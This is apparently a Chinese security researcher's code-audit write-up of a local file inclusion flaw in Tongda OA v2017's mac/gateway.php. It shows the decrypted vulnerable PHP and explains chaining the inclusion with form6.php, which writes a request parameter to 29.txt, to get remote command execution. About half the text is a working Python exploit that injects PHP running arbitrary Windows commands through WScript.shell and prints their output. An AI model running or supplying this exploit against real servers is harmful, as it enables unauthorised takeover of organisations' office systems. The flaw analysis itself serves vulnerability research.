通达OA v2017 本地文件包含

Report 代码审计

0x01:漏洞分析

不同版本漏洞的位置不同,2013版在\ispirit\interface\gateway.php,2017版在\mac\gateway.php中。以2017版的通达OA系统为例,将 "zend|54" 加密后的源码解密:

<?php
    ob_start();
    include_once 'inc/session.php';
    include_once 'inc/conn.php';
    include_once 'inc/utility_org.php';
    if ($P != '') {
        if (preg_match('/[^a-z0-9;]+/i', $P)) {
            echo('非法参数');
            exit;
        }
        session_id($P);
        session_start();
        session_write_close();
        if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
            echo _('RELOGIN');
            exit;
        }
    }
    if ($json) {
        $json = stripcslashes($json);
        $json = (array) json_decode($json);
        foreach ($json as $key => $val) {
            if ($key == 'data') {
                $val = (array) $val;
                foreach ($val as $keys => $value) {
                    ${$keys} = $value;
                }
            }
            if ($key == 'url') {
                $url = $val;
            }
        }
        if ($url != '') {
            if (substr($url, 0, 1) == '/') {
                $url = substr($url, 1);
            }
            include_once $url;
        }
        exit;
    }
?>

如果变量$p不为空,且 $json 数组中键名有 url ,就会直接进入 include_once() 文件包含函数,有了文件包含漏洞,再找处上传点就能实现远程命令执行。网上分析文章多是利用\ispirit\im\upload.php的权限绕过上传文件,其实可以不依赖文件上传实现远程命令执行。

先看\general\workflow\document_list\input_form\form6.php第5行:

<?php
if ($MAINDOC_ID !== '') {
    file_put_contents('29.txt', $MAINDOC_ID);
    ob_start();
    echo '<br>';
    include_once 'document_attach.php';
    $data .= ob_get_contents();
    ob_flush();
    echo "\r\n\r\n\r\n";
}
?>

可以看到系统会把 $MAINDOC_ID 的值写到文本中,如果我们利用漏洞包含form6.php,就能不主动创建文件在 \mac\29.txt 实现远程命令执行。

0x02:漏洞验证

#!/usr/bin/env python
# coding=utf-8

import requests, sys, random

name = "通达OA 文件包含导致命令执行的升级版"
vulType = 'RCE'
version = '2013,2015,2016,2017,v11'
references = 'https://xz.aliyun.com/t/7424'
desc = '原漏洞通过upload.php上传文件,利用文件包含RCE,但本版本payload不依赖文件上传漏洞。'
vulDate = '2020-03-17'
createDate = '2020-03-21'

def useage():
    print("[*]Useage: python %s http://www.target.com whoami" % sys.argv[0])

def attack(url, command):
    verify_code = random.random()
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"}
    url_payload = """{url}/mac/gateway.php?json={{"url":"../general/workflow/document_list/input_form/form6.php"}}&MAINDOC_ID[]=<?php $command="{command}"; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>""".format(url=url,command=command)
    url_verify = """{url}/mac/gateway.php?json={{"url":"../general/workflow/document_list/input_form/form6.php"}}&MAINDOC_ID[]=<?php $command="echo {verify_code}"; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>""".format(url=url,verify_code=verify_code)
    url_response = """{url}/mac/gateway.php?json={{"url":"29.txt"}}""".format(url=url)
    requests.get(url_verify)
    response_verify = requests.get(url_response)
    if str(verify_code) not in response_verify.text:
        print("[!]Target is not vnlnerable.")
        sys.exit(0)
    else:
        requests.get(url_payload)
        response_payload = requests.get(url_response)
        print("[*]Command response: " + response_payload.text)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        useage()
        sys.exit()
    if (sys.argv[1][:4]) != "http":
        url = "http://" + sys.argv[1]  
    else:
        url = sys.argv[1]
    command = sys.argv[2]
    print(url,command)
    attack(url, command)